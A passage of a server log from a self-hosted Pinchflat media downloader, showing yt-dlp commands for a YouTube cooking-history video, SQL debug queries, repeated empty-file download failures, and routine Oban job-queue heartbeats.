/tmp/pinchflat/data/8b/4b/8b4b93ac7960e9813a4554c430d962003797db9ade576869767d0330df13c8b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 05:36:12.360 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 05:36:12.361 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288255246,"event":"job:exception","queue_time":771305,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:36:18.068 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:36:29.449 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774949789449583181,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:36:29.450 [debug] QUERY OK source="media_items" db=0.2ms idle=54.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 05:36:29.450 [info] User scripts lifecyle file either not present or is empty. Skipping. 05:36:29.450 [debug] QUERY OK source="sources" db=0.1ms idle=54.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 05:36:29.450 [debug] QUERY OK source="media_profiles" db=0.2ms idle=54.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:36:29.451 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 05:36:29.451 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 05:36:29.452 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 05:36:29.452 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:29.452 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:29.452 [debug] Running yt-dlp command for action: get_downloadable_status 05:36:29.453 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:29.453 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:29.453 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:29.453 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a5/d4/a5d45b3ff4fc6bc8f85fdf100f5df8919c68bf73a3727d7bbcc490d98494f59b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:36:33.324 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a5/d4/a5d45b3ff4fc6bc8f85fdf100f5df8919c68bf73a3727d7bbcc490d98494f59b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 05:36:33.325 [debug] Running yt-dlp command for action: download 05:36:33.325 [debug] QUERY OK source="settings" db=0.2ms idle=1929.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:33.325 [debug] QUERY OK source="settings" db=0.1ms idle=1929.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:33.325 [debug] QUERY OK source="settings" db=0.0ms idle=1930.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:36:33.326 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/27/6f/276fdcc416ffae8bd81b9a88d10c4416f023e425cbc8cee0296e47f2311a265c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 05:36:48.069 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:00.163 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:37:18.070 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:37:48.072 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:00.164 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:38:18.073 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:38:48.074 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:00.165 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:39:18.075 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:39:48.076 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:00.166 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:40:18.078 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:40:48.079 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:00.167 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:41:18.080 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:41:32.948 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/27/6f/276fdcc416ffae8bd81b9a88d10c4416f023e425cbc8cee0296e47f2311a265c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 05:41:32.948 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 05:41:32.948 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":303498700,"event":"job:exception","queue_time":906504,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:41:48.082 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.168 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:42:18.083 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:48.084 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.169 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:43:18.085 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:48.086 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.170 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:44:18.088 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:48.089 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.171 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:45:18.089 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:48.091 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.172 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:46:18.092 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:48.093 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.173 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:47:18.094 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:48.096 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.174 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:48:18.098 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:48.100 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.175 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:49:18.102 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:48.103 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.176 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:50:18.105 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:48.106 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.177 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:51:18.107 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:48.109 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.178 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:52:18.110 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:48.111 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.179 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:53:18.112 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:48.113 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.180 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:54:18.114 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:48.115 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.181 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:55:18.116 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:48.117 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.182 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:56:18.118 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:48.119 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.183 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:57:18.120 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:48.122 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.184 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:58:18.123 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:48.124 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.185 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:59:18.125 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:48.125 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.186 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:00:18.127 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:48.128 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.187 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:01:18.129 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:48.130 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.188 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:02:18.131 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:48.132 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.189 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:03:18.134 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:48.135 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.190 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:04:18.137 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:48.138 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.191 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:05:18.140 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:48.141 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.192 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:06:18.142 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:48.143 [info] {"source":"oban","duration":756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.193 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:07:18.144 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:48.145 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.195 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:08:18.146 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:48.148 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.195 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:09:18.150 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:48.152 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:00.196 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:10:18.153 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:10:48.154 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:00.197 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:11:18.155 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:11:48.156 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:00.198 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:12:18.157 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:12:48.158 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:00.199 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:13:18.159 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:13:48.161 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:00.200 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:14:18.162 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:14:48.163 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:00.201 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:15:18.164 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:15:48.165 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:00.202 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:16:18.166 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:16:48.167 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:00.203 [info] {"source":"oban","duration":332,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:17:18.169 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:17:48.170 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:00.204 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:18:18.171 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:48.172 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.205 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:19:18.173 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:48.175 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.206 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:20:18.177 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:48.178 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.207 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:21:18.179 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:48.181 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.208 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:22:18.182 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:48.183 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.209 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:23:18.184 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:48.185 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.210 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:24:18.187 [info] 